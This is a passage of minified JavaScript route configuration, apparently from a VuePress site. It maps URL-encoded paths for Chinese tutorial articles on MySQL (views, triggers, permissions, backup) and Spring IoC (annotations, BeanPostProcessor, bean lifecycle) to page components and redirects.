5%9B%BE.html",component:zo,beforeEnter:(e,t,E)=>{Ao("post","v-9ed1c086").then(E)}},{path:"/md/core/mysql/base/2022-09-16-《MySQL核心知识》第11章:视图.html",redirect:"/md/core/mysql/base/2022-09-16-%E3%80%8AMySQL%E6%A0%B8%E5%BF%83%E7%9F%A5%E8%AF%86%E3%80%8B%E7%AC%AC11%E7%AB%A0%EF%BC%9A%E8%A7%86%E5%9B%BE.html"},{path:"/md/core/mysql/base/2022-09-16-《MySQL核心知识》第11章:视图.html",redirect:"/md/core/mysql/base/2022-09-16-%E3%80%8AMySQL%E6%A0%B8%E5%BF%83%E7%9F%A5%E8%AF%86%E3%80%8B%E7%AC%AC11%E7%AB%A0%EF%BC%9A%E8%A7%86%E5%9B%BE.html"},{name:"v-1ebcaf99",path:"/md/core/mysql/base/2022-09-19-%E3%80%8AMySQL%E6%A0%B8%E5%BF%83%E7%9F%A5%E8%AF%86%E3%80%8B%E7%AC%AC12%E7%AB%A0%EF%BC%9A%E8%A7%A6%E5%8F%91%E5%99%A8.html",component:zo,beforeEnter:(e,t,E)=>{Ao("post","v-1ebcaf99").then(E)}},{path:"/md/core/mysql/base/2022-09-19-《MySQL核心知识》第12章:触发器.html",redirect:"/md/core/mysql/base/2022-09-19-%E3%80%8AMySQL%E6%A0%B8%E5%BF%83%E7%9F%A5%E8%AF%86%E3%80%8B%E7%AC%AC12%E7%AB%A0%EF%BC%9A%E8%A7%A6%E5%8F%91%E5%99%A8.html"},{path:"/md/core/mysql/base/2022-09-19-《MySQL核心知识》第12章:触发器.html",redirect:"/md/core/mysql/base/2022-09-19-%E3%80%8AMySQL%E6%A0%B8%E5%BF%83%E7%9F%A5%E8%AF%86%E3%80%8B%E7%AC%AC12%E7%AB%A0%EF%BC%9A%E8%A7%A6%E5%8F%91%E5%99%A8.html"},{name:"v-66f8a1f2",path:"/md/core/mysql/base/2022-09-26-%E3%80%8AMySQL%E6%A0%B8%E5%BF%83%E7%9F%A5%E8%AF%86%E3%80%8B%E7%AC%AC13%E7%AB%A0%EF%BC%9A%E6%9D%83%E9%99%90%E7%AE%A1%E7%90%86.html",component:zo,beforeEnter:(e,t,E)=>{Ao("post","v-66f8a1f2").then(E)}},{path:"/md/core/mysql/base/2022-09-26-《MySQL核心知识》第13章:权限管理.html",redirect:"/md/core/mysql/base/2022-09-26-%E3%80%8AMySQL%E6%A0%B8%E5%BF%83%E7%9F%A5%E8%AF%86%E3%80%8B%E7%AC%AC13%E7%AB%A0%EF%BC%9A%E6%9D%83%E9%99%90%E7%AE%A1%E7%90%86.html"},{path:"/md/core/mysql/base/2022-09-26-《MySQL核心知识》第13章:权限管理.html",redirect:"/md/core/mysql/base/2022-09-26-%E3%80%8AMySQL%E6%A0%B8%E5%BF%83%E7%9F%A5%E8%AF%86%E3%80%8B%E7%AC%AC13%E7%AB%A0%EF%BC%9A%E6%9D%83%E9%99%90%E7%AE%A1%E7%90%86.html"},{name:"v-40ebcb16",path:"/md/core/mysql/base/2022-09-28-%E3%80%8AMySQL%E6%A0%B8%E5%BF%83%E7%9F%A5%E8%AF%86%E3%80%8B%E7%AC%AC14%E7%AB%A0%EF%BC%9A%E6%95%B0%E6%8D%AE%E5%A4%87%E4%BB%BD%E4%B8%8E%E6%81%A2%E5%A4%8D.html",component:zo,beforeEnter:(e,t,E)=>{Ao("post","v-40ebcb16").then(E)}},{path:"/md/core/mysql/base/2022-09-28-《MySQL核心知识》第14章:数据备份与恢复.html",redirect:"/md/core/mysql/base/2022-09-28-%E3%80%8AMySQL%E6%A0%B8%E5%BF%83%E7%9F%A5%E8%AF%86%E3%80%8B%E7%AC%AC14%E7%AB%A0%EF%BC%9A%E6%95%B0%E6%8D%AE%E5%A4%87%E4%BB%BD%E4%B8%8E%E6%81%A2%E5%A4%8D.html"},{path:"/md/core/mysql/base/2022-09-28-《MySQL核心知识》第14章:数据备份与恢复.html",redirect:"/md/core/mysql/base/2022-09-28-%E3%80%8AMySQL%E6%A0%B8%E5%BF%83%E7%9F%A5%E8%AF%86%E3%80%8B%E7%AC%AC14%E7%AB%A0%EF%BC%9A%E6%95%B0%E6%8D%AE%E5%A4%87%E4%BB%BD%E4%B8%8E%E6%81%A2%E5%A4%8D.html"},{name:"v-aece93ca",path:"/md/core/mysql/base/2022-10-18-%E3%80%8AMySQL%E6%A0%B8%E5%BF%83%E7%9F%A5%E8%AF%86%E3%80%8B%E7%AC%AC15%E7%AB%A0-%E8%87%AA%E5%8A%A8%E5%A4%87%E4%BB%BD%E4%B8%8E%E6%81%A2%E5%A4%8DMySQL%E6%95%B0%E6%8D%AE%E5%BA%93%E5%B9%B6%E5%8F%91%E9%80%81Email%E9%82%AE%E4%BB%B6.html",component:zo,beforeEnter:(e,t,E)=>{Ao("post","v-aece93ca").then(E)}},{path:"/md/core/mysql/base/2022-10-18-《MySQL核心知识》第15章-自动备份与恢复MySQL数据库并发送Email邮件.html",redirect:"/md/core/mysql/base/2022-10-18-%E3%80%8AMySQL%E6%A0%B8%E5%BF%83%E7%9F%A5%E8%AF%86%E3%80%8B%E7%AC%AC15%E7%AB%A0-%E8%87%AA%E5%8A%A8%E5%A4%87%E4%BB%BD%E4%B8%8E%E6%81%A2%E5%A4%8DMySQL%E6%95%B0%E6%8D%AE%E5%BA%93%E5%B9%B6%E5%8F%91%E9%80%81Email%E9%82%AE%E4%BB%B6.html"},{path:"/md/core/mysql/base/2022-10-18-《MySQL核心知识》第15章-自动备份与恢复MySQL数据库并发送Email邮件.html",redirect:"/md/core/mysql/base/2022-10-18-%E3%80%8AMySQL%E6%A0%B8%E5%BF%83%E7%9F%A5%E8%AF%86%E3%80%8B%E7%AC%AC15%E7%AB%A0-%E8%87%AA%E5%8A%A8%E5%A4%87%E4%BB%BD%E4%B8%8E%E6%81%A2%E5%A4%8DMySQL%E6%95%B0%E6%8D%AE%E5%BA%93%E5%B9%B6%E5%8F%91%E9%80%81Email%E9%82%AE%E4%BB%B6.html"},{name:"v-741e9c3d",path:"/md/core/spring/aop/default.html",component:zo,beforeEnter:(e,t,E)=>{Ao("Layout","v-741e9c3d").then(E)}},{name:"v-174a78fe",path:"/md/core/spring/ioc/2022-04-04-001-%E8%81%8A%E8%81%8ASpring%E6%B3%A8%E8%A7%A3%E9%A9%B1%E5%8A%A8%E5%BC%80%E5%8F%91%E9%82%A3%E4%BA%9B%E4%BA%8B%E5%84%BF.html",component:zo,beforeEnter:(e,t,E)=>{Ao("post","v-174a78fe").then(E)}},{path:"/md/core/spring/ioc/2022-04-04-001-聊聊Spring注解驱动开发那些事儿.html",redirect:"/md/core/spring/ioc/2022-04-04-001-%E8%81%8A%E8%81%8ASpring%E6%B3%A8%E8%A7%A3%E9%A9%B1%E5%8A%A8%E5%BC%80%E5%8F%91%E9%82%A3%E4%BA%9B%E4%BA%8B%E5%84%BF.html"},{path:"/md/core/spring/ioc/2022-04-04-001-聊聊Spring注解驱动开发那些事儿.html",redirect:"/md/core/spring/ioc/2022-04-04-001-%E8%81%8A%E8%81%8ASpring%E6%B3%A8%E8%A7%A3%E9%A9%B1%E5%8A%A8%E5%BC%80%E5%8F%91%E9%82%A3%E4%BA%9B%E4%BA%8B%E5%84%BF.html"},{name:"v-167938cb",path:"/md/core/spring/ioc/2022-04-04-002-%E7%BB%84%E4%BB%B6%E6%B3%A8%E5%86%8C-%E4%BD%BF%E7%94%A8@Configuration%E5%92%8C@Bean%E7%BB%99%E5%AE%B9%E5%99%A8%E4%B8%AD%E6%B3%A8%E5%86%8C%E7%BB%84%E4%BB%B6.html",component:zo,beforeEnter:(e,t,E)=>{Ao("post","v-167938cb").then(E)}},{path:"/md/core/spring/ioc/2022-04-04-002-组件注册-使用@Configuration和@Bean给容器中注册组件.html",redirect:"/md/core/spring/ioc/2022-04-04-002-%E7%BB%84%E4%BB%B6%E6%B3%A8%E5%86%8C-%E4%BD%BF%E7%94%A8@Configuration%E5%92%8C@Bean%E7%BB%99%E5%AE%B9%E5%99%A8%E4%B8%AD%E6%B3%A8%E5%86%8C%E7%BB%84%E4%BB%B6.html"},{path:"/md/core/spring/ioc/2022-04-04-002-组件注册-使用@Configuration和@Bean给容器中注册组件.html",redirect:"/md/core/spring/ioc/2022-04-04-002-%E7%BB%84%E4%BB%B6%E6%B3%A8%E5%86%8C-%E4%BD%BF%E7%94%A8@Configuration%E5%92%8C@Bean%E7%BB%99%E5%AE%B9%E5%99%A8%E4%B8%AD%E6%B3%A8%E5%86%8C%E7%BB%84%E4%BB%B6.html"},{name:"v-fc5cf2ca",path:"/md/core/spring/ioc/2022-04-04-003-%E7%BB%84%E4%BB%B6%E6%B3%A8%E5%86%8C-@ComponentScan-%E8%87%AA%E5%8A%A8%E6%89%AB%E6%8F%8F%E7%BB%84%E4%BB%B6&%E6%8C%87%E5%AE%9A%E6%89%AB%E6%8F%8F%E8%A7%84%E5%88%99.html",component:zo,beforeEnter:(e,t,E)=>{Ao("post","v-fc5cf2ca").then(E)}},{path:"/md/core/spring/ioc/2022-04-04-003-组件注册-@ComponentScan-自动扫描组件&指定扫描规则.html",redirect:"/md/core/spring/ioc/2022-04-04-003-%E7%BB%84%E4%BB%B6%E6%B3%A8%E5%86%8C-@ComponentScan-%E8%87%AA%E5%8A%A8%E6%89%AB%E6%8F%8F%E7%BB%84%E4%BB%B6&%E6%8C%87%E5%AE%9A%E6%89%AB%E6%8F%8F%E8%A7%84%E5%88%99.html"},{path:"/md/core/spring/ioc/2022-04-04-003-组件注册-@ComponentScan-自动扫描组件&指定扫描规则.html",redirect:"/md/core/spring/ioc/2022-04-04-003-%E7%BB%84%E4%BB%B6%E6%B3%A8%E5%86%8C-@ComponentScan-%E8%87%AA%E5%8A%A8%E6%89%AB%E6%8F%8F%E7%BB%84%E4%BB%B6&%E6%8C%87%E5%AE%9A%E6%89%AB%E6%8F%8F%E8%A7%84%E5%88%99.html"},{name:"v-0be82a49",path:"/md/core/spring/ioc/2022-04-04-004-%E8%87%AA%E5%AE%9A%E4%B9%89TypeFilter%E6%8C%87%E5%AE%9A%E8%BF%87%E6%BB%A4%E8%A7%84%E5%88%99.html",component:zo,beforeEnter:(e,t,E)=>{Ao("post","v-0be82a49").then(E)}},{path:"/md/core/spring/ioc/2022-04-04-004-自定义TypeFilter指定过滤规则.html",redirect:"/md/core/spring/ioc/2022-04-04-004-%E8%87%AA%E5%AE%9A%E4%B9%89TypeFilter%E6%8C%87%E5%AE%9A%E8%BF%87%E6%BB%A4%E8%A7%84%E5%88%99.html"},{path:"/md/core/spring/ioc/2022-04-04-004-自定义TypeFilter指定过滤规则.html",redirect:"/md/core/spring/ioc/2022-04-04-004-%E8%87%AA%E5%AE%9A%E4%B9%89TypeFilter%E6%8C%87%E5%AE%9A%E8%BF%87%E6%BB%A4%E8%A7%84%E5%88%99.html"},{name:"v-408e39be",path:"/md/core/spring/ioc/2022-04-04-005-%E4%BD%BF%E7%94%A8@Lazy%E6%B3%A8%E8%A7%A3%E5%AE%9E%E7%8E%B0%E6%87%92%E5%8A%A0%E8%BD%BD.html",component:zo,beforeEnter:(e,t,E)=>{Ao("post","v-408e39be").then(E)}},{path:"/md/core/spring/ioc/2022-04-04-005-使用@Lazy注解实现懒加载.html",redirect:"/md/core/spring/ioc/2022-04-04-005-%E4%BD%BF%E7%94%A8@Lazy%E6%B3%A8%E8%A7%A3%E5%AE%9E%E7%8E%B0%E6%87%92%E5%8A%A0%E8%BD%BD.html"},{path:"/md/core/spring/ioc/2022-04-04-005-使用@Lazy注解实现懒加载.html",redirect:"/md/core/spring/ioc/2022-04-04-005-%E4%BD%BF%E7%94%A8@Lazy%E6%B3%A8%E8%A7%A3%E5%AE%9E%E7%8E%B0%E6%87%92%E5%8A%A0%E8%BD%BD.html"},{name:"v-2b9d067b",path:"/md/core/spring/ioc/2022-04-04-006-%E5%A6%82%E4%BD%95%E6%8C%89%E7%85%A7%E6%9D%A1%E4%BB%B6%E5%90%91Spring%E4%B8%AD%E6%B3%A8%E5%86%8Cbean.html",component:zo,beforeEnter:(e,t,E)=>{Ao("post","v-2b9d067b").then(E)}},{path:"/md/core/spring/ioc/2022-04-04-006-如何按照条件向Spring中注册bean.html",redirect:"/md/core/spring/ioc/2022-04-04-006-%E5%A6%82%E4%BD%95%E6%8C%89%E7%85%A7%E6%9D%A1%E4%BB%B6%E5%90%91Spring%E4%B8%AD%E6%B3%A8%E5%86%8Cbean.html"},{path:"/md/core/spring/ioc/2022-04-04-006-如何按照条件向Spring中注册bean.html",redirect:"/md/core/spring/ioc/2022-04-04-006-%E5%A6%82%E4%BD%95%E6%8C%89%E7%85%A7%E6%9D%A1%E4%BB%B6%E5%90%91Spring%E4%B8%AD%E6%B3%A8%E5%86%8Cbean.html"},{name:"v-1dc42540",path:"/md/core/spring/ioc/2022-04-04-007-%E4%BD%BF%E7%94%A8@Import%E6%B3%A8%E8%A7%A3%E7%BB%99%E5%AE%B9%E5%99%A8%E4%B8%AD%E5%BF%AB%E9%80%9F%E5%AF%BC%E5%85%A5%E4%B8%80%E4%B8%AA%E7%BB%84%E4%BB%B6.html",component:zo,beforeEnter:(e,t,E)=>{Ao("post","v-1dc42540").then(E)}},{path:"/md/core/spring/ioc/2022-04-04-007-使用@Import注解给容器中快速导入一个组件.html",redirect:"/md/core/spring/ioc/2022-04-04-007-%E4%BD%BF%E7%94%A8@Import%E6%B3%A8%E8%A7%A3%E7%BB%99%E5%AE%B9%E5%99%A8%E4%B8%AD%E5%BF%AB%E9%80%9F%E5%AF%BC%E5%85%A5%E4%B8%80%E4%B8%AA%E7%BB%84%E4%BB%B6.html"},{path:"/md/core/spring/ioc/2022-04-04-007-使用@Import注解给容器中快速导入一个组件.html",redirect:"/md/core/spring/ioc/2022-04-04-007-%E4%BD%BF%E7%94%A8@Import%E6%B3%A8%E8%A7%A3%E7%BB%99%E5%AE%B9%E5%99%A8%E4%B8%AD%E5%BF%AB%E9%80%9F%E5%AF%BC%E5%85%A5%E4%B8%80%E4%B8%AA%E7%BB%84%E4%BB%B6.html"},{name:"v-484183a1",path:"/md/core/spring/ioc/2022-04-04-008-%E6%B7%B1%E5%85%A5%E7%90%86%E8%A7%A3Spring%E7%9A%84ImportSelector%E6%8E%A5%E5%8F%A3.html",component:zo,beforeEnter:(e,t,E)=>{Ao("post","v-484183a1").then(E)}},{path:"/md/core/spring/ioc/2022-04-04-008-深入理解Spring的ImportSelector接口.html",redirect:"/md/core/spring/ioc/2022-04-04-008-%E6%B7%B1%E5%85%A5%E7%90%86%E8%A7%A3Spring%E7%9A%84ImportSelector%E6%8E%A5%E5%8F%A3.html"},{path:"/md/core/spring/ioc/2022-04-04-008-深入理解Spring的ImportSelector接口.html",redirect:"/md/core/spring/ioc/2022-04-04-008-%E6%B7%B1%E5%85%A5%E7%90%86%E8%A7%A3Spring%E7%9A%84ImportSelector%E6%8E%A5%E5%8F%A3.html"},{name:"v-42f82cc0",path:"/md/core/spring/ioc/2022-04-04-009-%E5%9C%A8@Import%E6%B3%A8%E8%A7%A3%E4%B8%AD%E4%BD%BF%E7%94%A8ImportSelector.html",component:zo,beforeEnter:(e,t,E)=>{Ao("post","v-42f82cc0").then(E)}},{path:"/md/core/spring/ioc/2022-04-04-009-在@Import注解中使用ImportSelector.html",redirect:"/md/core/spring/ioc/2022-04-04-009-%E5%9C%A8@Import%E6%B3%A8%E8%A7%A3%E4%B8%AD%E4%BD%BF%E7%94%A8ImportSelector.html"},{path:"/md/core/spring/ioc/2022-04-04-009-在@Import注解中使用ImportSelector.html",redirect:"/md/core/spring/ioc/2022-04-04-009-%E5%9C%A8@Import%E6%B3%A8%E8%A7%A3%E4%B8%AD%E4%BD%BF%E7%94%A8ImportSelector.html"},{name:"v-ff84c35a",path:"/md/core/spring/ioc/2022-04-04-010-%E5%A6%82%E4%BD%95%E5%B0%86Service%E6%B3%A8%E5%85%A5%E5%88%B0Servlet%E4%B8%AD.html",component:zo,beforeEnter:(e,t,E)=>{Ao("post","v-ff84c35a").then(E)}},{path:"/md/core/spring/ioc/2022-04-04-010-如何将Service注入到Servlet中.html",redirect:"/md/core/spring/ioc/2022-04-04-010-%E5%A6%82%E4%BD%95%E5%B0%86Service%E6%B3%A8%E5%85%A5%E5%88%B0Servlet%E4%B8%AD.html"},{path:"/md/core/spring/ioc/2022-04-04-010-如何将Service注入到Servlet中.html",redirect:"/md/core/spring/ioc/2022-04-04-010-%E5%A6%82%E4%BD%95%E5%B0%86Service%E6%B3%A8%E5%85%A5%E5%88%B0Servlet%E4%B8%AD.html"},{name:"v-302f0b9d",path:"/md/core/spring/ioc/2022-04-04-011-%E4%BD%BF%E7%94%A8ImportBeanDefinitionRegistrar%E5%90%91%E5%AE%B9%E5%99%A8%E4%B8%AD%E6%B3%A8%E5%86%8Cbean.html",component:zo,beforeEnter:(e,t,E)=>{Ao("post","v-302f0b9d").then(E)}},{path:"/md/core/spring/ioc/2022-04-04-011-使用ImportBeanDefinitionRegistrar向容器中注册bean.html",redirect:"/md/core/spring/ioc/2022-04-04-011-%E4%BD%BF%E7%94%A8ImportBeanDefinitionRegistrar%E5%90%91%E5%AE%B9%E5%99%A8%E4%B8%AD%E6%B3%A8%E5%86%8Cbean.html"},{path:"/md/core/spring/ioc/2022-04-04-011-使用ImportBeanDefinitionRegistrar向容器中注册bean.html",redirect:"/md/core/spring/ioc/2022-04-04-011-%E4%BD%BF%E7%94%A8ImportBeanDefinitionRegistrar%E5%90%91%E5%AE%B9%E5%99%A8%E4%B8%AD%E6%B3%A8%E5%86%8Cbean.html"},{name:"v-7b63f51b",path:"/md/core/spring/ioc/2022-04-04-012-%E4%BD%BF%E7%94%A8FactoryBean%E6%B3%A8%E5%86%8C%E5%90%91Spring%E5%AE%B9%E5%99%A8%E4%B8%AD%E6%B3%A8%E5%86%8Cbean.html",component:zo,beforeEnter:(e,t,E)=>{Ao("post","v-7b63f51b").then(E)}},{path:"/md/core/spring/ioc/2022-04-04-012-使用FactoryBean注册向Spring容器中注册bean.html",redirect:"/md/core/spring/ioc/2022-04-04-012-%E4%BD%BF%E7%94%A8FactoryBean%E6%B3%A8%E5%86%8C%E5%90%91Spring%E5%AE%B9%E5%99%A8%E4%B8%AD%E6%B3%A8%E5%86%8Cbean.html"},{path:"/md/core/spring/ioc/2022-04-04-012-使用FactoryBean注册向Spring容器中注册bean.html",redirect:"/md/core/spring/ioc/2022-04-04-012-%E4%BD%BF%E7%94%A8FactoryBean%E6%B3%A8%E5%86%8C%E5%90%91Spring%E5%AE%B9%E5%99%A8%E4%B8%AD%E6%B3%A8%E5%86%8Cbean.html"},{name:"v-09a2c2ec",path:"/md/core/spring/ioc/2022-04-04-013-%E4%BD%BF%E7%94%A8@Bean%E6%B3%A8%E8%A7%A3%E6%8C%87%E5%AE%9A%E5%88%9D%E5%A7%8B%E5%8C%96%E5%92%8C%E9%94%80%E6%AF%81%E7%9A%84%E6%96%B9%E6%B3%95.html",component:zo,beforeEnter:(e,t,E)=>{Ao("post","v-09a2c2ec").then(E)}},{path:"/md/core/spring/ioc/2022-04-04-013-使用@Bean注解指定初始化和销毁的方法.html",redirect:"/md/core/spring/ioc/2022-04-04-013-%E4%BD%BF%E7%94%A8@Bean%E6%B3%A8%E8%A7%A3%E6%8C%87%E5%AE%9A%E5%88%9D%E5%A7%8B%E5%8C%96%E5%92%8C%E9%94%80%E6%AF%81%E7%9A%84%E6%96%B9%E6%B3%95.html"},{path:"/md/core/spring/ioc/2022-04-04-013-使用@Bean注解指定初始化和销毁的方法.html",redirect:"/md/core/spring/ioc/2022-04-04-013-%E4%BD%BF%E7%94%A8@Bean%E6%B3%A8%E8%A7%A3%E6%8C%87%E5%AE%9A%E5%88%9D%E5%A7%8B%E5%8C%96%E5%92%8C%E9%94%80%E6%AF%81%E7%9A%84%E6%96%B9%E6%B3%95.html"},{name:"v-797843fe",path:"/md/core/spring/ioc/2022-04-04-014-%E4%BD%BF%E7%94%A8InitializingBean%E5%92%8CDisposableBean%E6%9D%A5%E7%AE%A1%E7%90%86bean%E7%9A%84%E7%94%9F%E5%91%BD%E5%91%A8%E6%9C%9F.html",component:zo,beforeEnter:(e,t,E)=>{Ao("post","v-797843fe").then(E)}},{path:"/md/core/spring/ioc/2022-04-04-014-使用InitializingBean和DisposableBean来管理bean的生命周期.html",redirect:"/md/core/spring/ioc/2022-04-04-014-%E4%BD%BF%E7%94%A8InitializingBean%E5%92%8CDisposableBean%E6%9D%A5%E7%AE%A1%E7%90%86bean%E7%9A%84%E7%94%9F%E5%91%BD%E5%91%A8%E6%9C%9F.html"},{path:"/md/core/spring/ioc/2022-04-04-014-使用InitializingBean和DisposableBean来管理bean的生命周期.html",redirect:"/md/core/spring/ioc/2022-04-04-014-%E4%BD%BF%E7%94%A8InitializingBean%E5%92%8CDisposableBean%E6%9D%A5%E7%AE%A1%E7%90%86bean%E7%9A%84%E7%94%9F%E5%91%BD%E5%91%A8%E6%9C%9F.html"},{name:"v-07741c6a",path:"/md/core/spring/ioc/2022-04-04-015-@PostConstruct%E6%B3%A8%E8%A7%A3%E5%92%8C@PreDestroy%E6%B3%A8%E8%A7%A3.html",component:zo,beforeEnter:(e,t,E)=>{Ao("post","v-07741c6a").then(E)}},{path:"/md/core/spring/ioc/2022-04-04-015-@PostConstruct注解和@PreDestroy注解.html",redirect:"/md/core/spring/ioc/2022-04-04-015-@PostConstruct%E6%B3%A8%E8%A7%A3%E5%92%8C@PreDestroy%E6%B3%A8%E8%A7%A3.html"},{path:"/md/core/spring/ioc/2022-04-04-015-@PostConstruct注解和@PreDestroy注解.html",redirect:"/md/core/spring/ioc/2022-04-04-015-@PostConstruct%E6%B3%A8%E8%A7%A3%E5%92%8C@PreDestroy%E6%B3%A8%E8%A7%A3.html"},{name:"v-4a1ac0cc",path:"/md/core/spring/ioc/2022-04-04-016-@PostConstruct%E4%B8%8E@PreDestroy%E6%BA%90%E7%A0%81%E8%A7%A3%E6%9E%90.html",component:zo,beforeEnter:(e,t,E)=>{Ao("post","v-4a1ac0cc").then(E)}},{path:"/md/core/spring/ioc/2022-04-04-016-@PostConstruct与@PreDestroy源码解析.html",redirect:"/md/core/spring/ioc/2022-04-04-016-@PostConstruct%E4%B8%8E@PreDestroy%E6%BA%90%E7%A0%81%E8%A7%A3%E6%9E%90.html"},{path:"/md/core/spring/ioc/2022-04-04-016-@PostConstruct与@PreDestroy源码解析.html",redirect:"/md/core/spring/ioc/2022-04-04-016-@PostConstruct%E4%B8%8E@PreDestroy%E6%BA%90%E7%A0%81%E8%A7%A3%E6%9E%90.html"},{name:"v-5b592441",path:"/md/core/spring/ioc/2022-04-04-017-%E4%BD%BF%E7%94%A8@Scope%E6%B3%A8%E8%A7%A3%E8%AE%BE%E7%BD%AE%E7%BB%84%E4%BB%B6%E7%9A%84%E4%BD%9C%E7%94%A8%E5%9F%9F.html",component:zo,beforeEnter:(e,t,E)=>{Ao("post","v-5b592441").then(E)}},{path:"/md/core/spring/ioc/2022-04-04-017-使用@Scope注解设置组件的作用域.html",redirect:"/md/core/spring/ioc/2022-04-04-017-%E4%BD%BF%E7%94%A8@Scope%E6%B3%A8%E8%A7%A3%E8%AE%BE%E7%BD%AE%E7%BB%84%E4%BB%B6%E7%9A%84%E4%BD%9C%E7%94%A8%E5%9F%9F.html"},{path:"/md/core/spring/ioc/2022-04-04-017-使用@Scope注解设置组件的作用域.html",redirect:"/md/core/spring/ioc/2022-04-04-017-%E4%BD%BF%E7%94%A8@Scope%E6%B3%A8%E8%A7%A3%E8%AE%BE%E7%BD%AE%E7%BB%84%E4%BB%B6%E7%9A%84%E4%BD%9C%E7%94%A8%E5%9F%9F.html"},{name:"v-2e244c52",path:"/md/core/spring/ioc/2022-04-04-018-%E9%92%88%E5%AF%B9bean%E7%9A%84%E7%94%9F%E5%91%BD%E5%91%A8%E6%9C%9F%EF%BC%8C%E6%88%91%E4%BB%AC%E8%83%BD%E5%81%9A%E5%93%AA%E4%BA%9B%E5%B7%A5%E4%BD%9C.html",component:zo,beforeEnter:(e,t,E)=>{Ao("post","v-2e244c52").then(E)}},{path:"/md/core/spring/ioc/2022-04-04-018-针对bean的生命周期,我们能做哪些工作.html",redirect:"/md/core/spring/ioc/2022-04-04-018-%E9%92%88%E5%AF%B9bean%E7%9A%84%E7%94%9F%E5%91%BD%E5%91%A8%E6%9C%9F%EF%BC%8C%E6%88%91%E4%BB%AC%E8%83%BD%E5%81%9A%E5%93%AA%E4%BA%9B%E5%B7%A5%E4%BD%9C.html"},{path:"/md/core/spring/ioc/2022-04-04-018-针对bean的生命周期,我们能做哪些工作.html",redirect:"/md/core/spring/ioc/2022-04-04-018-%E9%92%88%E5%AF%B9bean%E7%9A%84%E7%94%9F%E5%91%BD%E5%91%A8%E6%9C%9F%EF%BC%8C%E6%88%91%E4%BB%AC%E8%83%BD%E5%81%9A%E5%93%AA%E4%BA%9B%E5%B7%A5%E4%BD%9C.html"},{name:"v-6bca2382",path:"/md/core/spring/ioc/2022-04-04-019-BeanPostProcessor%E5%BA%95%E5%B1%82%E5%8E%9F%E7%90%86%E8%A7%A3%E6%9E%90.html",component:zo,beforeEnter:(e,t,E)=>{Ao("post","v-6bca2382").then(E)}},{path:"/md/core/spring/ioc/2022-04-04-019-BeanPostProcessor底层原理解析.html",redirect:"/md/core/spring/ioc/2022-04-04-019-BeanPostProcessor%E5%BA%95%E5%B1%82%E5%8E%9F%E7%90%86%E8%A7%A3%E6%9E%90.html"},{path:"/md/core/spring/ioc/2022-04-04-019-BeanPostProcessor底层原理解析.html",redirect:"/md/core/spring/ioc/2022-04-04-019-BeanPostProcessor%E5%BA%95%E5%B1%82%E5%8E%9F%E7%90%86%E8%A7%A3%E6%9E%90.html"},{name:"v-712bc0ae",path:"/md/core/spring/ioc/2022-04-04-020-%E5%9B%B0%E6%89%B0%E4%BA%86%E6%88%91%E5%BE%88%E4%B9%85%E7%9A%84AOP%E5%B5%8C%E5%A5%97%E8%B0%83%E7%94%A8%E7%BB%88%E4%BA%8E%E8%A7%A3%E5%86%B3%E4%BA%86.html",component:zo,beforeEnter:(e,t,E)=>{Ao("post","v-712bc0ae").then(E)}},{path:"/md/core/spring/ioc/2022-04-04-020-困扰了我很久的AOP嵌套调用终于解决了.html",redirect:"/md/core/spring/ioc/2022-04-04-020-%E5%9B%B0%E6%89%B0%E4%BA%86%E6%88%91%E5%BE%88%E4%B9%85%E7%9A%84AOP%E5%B5%8C%E5%A5%97%E8%B0%83%E7%94%A8%E7%BB%88%E4%BA%8E%E8%A7%A3%E5%86%B3%E4%BA%86.html"},{path:"/md/core/spring/ioc/2022-04-04-020-困扰了我很久的AOP嵌套调用终于解决了.html",redirect:"/md/core/spring/ioc/2022-04-04-020-%E5%9B%B0%E6%89%B0%E4%BA%86%E6%88%91%E5%BE%88%E4%B9%85%E7%9A%84AOP%E5%B5%8C%E5%A5%97%E8%B0%83%E7%94%A8%E7%BB%88%E4%BA%8E%E8%A7%A3%E5%86%B3%E4%BA%86.html"},{name:"v-d7fbb106",path:"/md/core/spring/ioc/2022-04-04-021-BeanPostProcessor%E5%9C%A8Spring%E5%BA%95%E5%B1%82%E6%98%AF%E5%A6%82%E4%BD%95%E4%BD%BF%E7%94%A8%E7%9A%84.html",component:zo,beforeEnter:(e,t,E)=>{Ao("post","v-d7fbb106").then(E)}},{path:"/md/core/spring/ioc/2022-04-04-021-BeanPostProcessor在Spring底层是如何使用的.html",redirect:"/md/core/spring/ioc/2022-04-04-021-BeanPostProcessor%E5%9C%A8Spring%E5%BA%95%E5%B1%82%E6%98%AF%E5%A6%82%E4%BD%95%E4%BD%BF%E7%94%A8%E7%9A%84.html"},{path:"/md/core/spring/ioc/2022-04-04-021-BeanPostProcessor在Spring底层是如何使用的.html",redirect:"/md/core/spring/ioc/2022-04-04-021-BeanPostProcessor%E5%9C%A8Spring%E5%BA%95%E5%B1%82%E6%98%AF%E5%A6%82%E4%BD%95%E4%BD%BF%E7%94%A8%E7%9A%84.html"},{name:"v-77221ea5",path:"/md/core/spring/ioc/2022-04-04-022-BeanPostProcessor%E5%90%8E%E7%BD%AE%E5%A4%84%E7%90%86%E5%99%A8%E6%B5%85%E6%9E%90.html",component:zo,beforeEnter:(e,t,E)=>{Ao("post","v-77221ea5").then(E)}},{path:"/md/core/spring/ioc/2022-04-04-022-BeanPostProcessor后置处理器浅析.html",redirect:"/md/core/spring/ioc/2022-04-04-022-BeanPostProcessor%E5%90%8E%E7%BD%AE%E5%A4%84%E7%90%86%E5%99%A8%E6%B5%85%E6%9E%90.html"},{path:"/md/core/spring/ioc/2022-04-04-022-BeanPostProcessor后置处理器浅析.html",redirect:"/md/core/spring/ioc/2022-04-04-022-BeanPostProcessor%E5%90%8E%E7%BD%AE%E5%A4%84%E7%90%86%E5%99%A8%E6%B5%85%E6%9E%90.html"},{name:"v-71e386ca",path:"/md/core/spring/ioc/2022-04-04-023-%E4%BD%BF%E7%94%A8@Value%E6%B3%A8%E8%A7%A3%E4%B8%BAbean%E7%9A%84%E5%B1%9E%E6%80%A7%E8%B5%8B%E5%80%BC%EF%BC%8C%E5%8E%9F%E6%9D%A5%E8%BF%99%E4%B9%88%E7%AE%80%E5%8D%95.html",component:zo,beforeEnter:(e,t,E)=>{Ao("post","v-71e386ca").then(E)}},{path:"/md/core/spring/ioc/2022-04-04-023-使用@Value注解为bean的属性赋值,原来这么简单.html",redirect:"/md/core/spring/ioc/2022-04-04-023-%E4%BD%BF%E7%94%A8@Value%E6%B3%A8%E8%A7%A3%E4%B8%BAbean%E7%9A%84%E5%B1%9E%E6%80%A7%E8%B5%8B%E5%80%BC%EF%BC%8C%E5%8E%9F%E6%9D%A5%E8%BF%99%E4%B9%88%E7%AE%80